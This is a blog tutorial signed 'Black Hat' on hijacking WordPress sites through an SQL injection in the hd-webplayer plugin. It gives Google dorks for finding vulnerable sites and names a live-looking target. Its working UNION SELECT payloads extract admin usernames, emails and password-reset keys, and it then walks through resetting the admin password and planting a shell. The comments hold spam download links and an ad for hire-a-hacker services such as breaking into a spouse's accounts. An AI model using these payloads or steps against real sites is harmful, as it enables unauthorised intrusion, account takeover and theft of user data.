Hack WordPress site with SQL injection
As requested by few of you i decided to make this small tutorial on how to hack a wordpress site that has an SQLi in plugin.



So lets begin.

I will use this 0day here by AMY hacker.

First of all we need to find a vulnerable page.

We enter this in Google:


Code:
# Dork 1 (config.php)
inurl:"/wp-content/plugins/hd-webplayer/config.php?id="

# Dork 2 (playlist.php)
inurl:"/wp-content/plugins/hd-webplayer/playlist.php?videoid="

# Dork 3 (General):
inurl:"/wp-content/plugins/hd-webplayer/"

When you found your site you need to find admin email and username.

I will be using this site for example:
Code:
http://www.thefreenudecelebritysite.com/wp-content/plugins/hd-webplayer/playlist.php?videoid=3

[Image: regiont.png]


When i add ' text disappears so it is vulnerable.


[Image: regionzn.png]


NOTE: I will not demonstrate how to SQL inject.


Now we need admin username and email.

We need to inject:


Code:
http://www.thefreenudecelebritysite.com/wp-content/plugins/hd-webplayer/playlist.php?videoid=-3 UNION SELECT 1,2,3,group_concat(user_login,0x3a,user_email,0x3b),5,6,7,8,9,10,11 FROM wp_users--

Now we have 2 users.


[Image: regionjhg.png]


We pick one and copy his email.

Go to the login page of the site.
It is usually here:


Code:
http://www.site.com/wp-login.php

And press "Lost your password?"


[Image: regionz.png]


Now you enter either username or email.

We can enter both so it doesnt matter.
I entered email.

[Image: regionby.png]

[Image: regionng.png]

Now when you got:


"Check your e-mail for the confirmation link."


It means that reset key is successfully sent.

Now we need to get the activation key.

Go back to the syntax you used for extracting email and username and do this:



Code:
http://www.thefreenudecelebritysite.com/wp-content/plugins/hd-webplayer/playlist.php?videoid=-3 UNION SELECT 1,2,3,group_concat(user_login,0x3a,user_email,0x3b),5,6,7,8,9,10,11 FROM wp_users--


Code:
http://www.thefreenudecelebritysite.com/wp-content/plugins/hd-webplayer/playlist.php?videoid=-3 UNION SELECT 1,2,3,group_concat(user_login,0x3a,user_activation_key,0x3b),5,6,7,8,9,10,11 FROM wp_users--

[Image: regiongn.png]


Voila!

Now we just need to reset it.

Go to:

Code:
wp-login.php?action=rp&key=resetkey&login=username

NOTE: Replace key= & login= 


So my link will be:


[Image: regionzi.png]


Enter new password:


[Image: thefreenudecelebritysit.png]

[Image: regiongv.png]

Login with new password and shell it.


That's it guys.


Thanks for reading! Black Hat

Post a Comment

  1. this is hard, can you help me?

    ReplyDelete
    Replies
    1. [Tutorial] Hack Wordpress Site With Sql Injection >>>>> Download Now

      >>>>> Download Full

      [Tutorial] Hack Wordpress Site With Sql Injection >>>>> Download LINK

      >>>>> Download Now

      [Tutorial] Hack Wordpress Site With Sql Injection >>>>> Download Full

      >>>>> Download LINK 2k

      Delete
  2. Nice post i get good exprience from the post... waiting for new one. wordpress is the best CMS i think.

    wordpress speed up plugin
    wordpress tutorials

    ReplyDelete
  3. That is really interesting, You are an excessively professional
    blogger. I have joined your rss feed and stay up for in the
    hunt for extra of your excellent post.

    Take a look at my weblog :: Technology Bank

    ReplyDelete
  4. Do you need to increase your credit score?
    Do you intend to upgrade your school grade?
    Do you want to hack your cheating spouse Email, whatsapp, Facebook, instagram or any social network?
    Do you need any information concerning any database.
    Do you need to retrieve deleted files?
    Do you need to clear your criminal records or DMV?
    Do you want to remove any site or link from any blog?
    you should contact this hacker, he is reliable and good at the hack jobs..
    contact : cybergoldenhacker at gmail dot com

    ReplyDelete
  5. [Tutorial] Hack Wordpress Site With Sql Injection >>>>> Download Now

    >>>>> Download Full

    [Tutorial] Hack Wordpress Site With Sql Injection >>>>> Download LINK

    >>>>> Download Now

    [Tutorial] Hack Wordpress Site With Sql Injection >>>>> Download Full

    >>>>> Download LINK

    ReplyDelete

 
Top